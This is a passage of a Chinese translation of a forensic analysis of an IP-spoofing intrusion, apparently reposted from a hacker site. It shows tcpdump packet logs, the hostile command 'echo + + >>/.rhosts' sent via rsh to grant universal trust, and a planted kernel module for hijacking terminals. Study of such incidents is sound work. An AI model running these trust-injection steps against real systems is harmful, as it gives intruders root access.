相当于：

14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

从第一个 spoofed 的数据包共用了：< 16 秒的时间欺骗的；连接已经被终止了：

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 

14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 

14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 

14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 

14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

我们现在看到 RST 释放了在 server.login 上的队列中的那些半连接和空连接：

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096

14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096

14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096

14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096

14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096

14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096

14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096

14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096

14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096

14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096

14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096

14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096

14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096

14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096

14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096

14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096

14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096

14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096

14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096

14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096

14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096

14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096

14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096

14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096

14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096

14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096

14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096

14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login 又可以接受连接请求了。

通过IP地址spoofing 成果获得root权限后，一个叫做"tap-2。01"的内核模块被x-terminal 编译和安装:

x-terminal% modstat 

Id Type Loadaddr Size B-major C-major Sysnum Mod Name 

1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha 



x-terminal% ls -l /dev/tap 

crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

这是一个出现内核 STREAMS 模块，可以防到已有的 STREAMS 堆栈和控制 tty device 上面的用户.

http://www.cnxhacker.com/Article/hacker/inbreak/200610/5852_2.html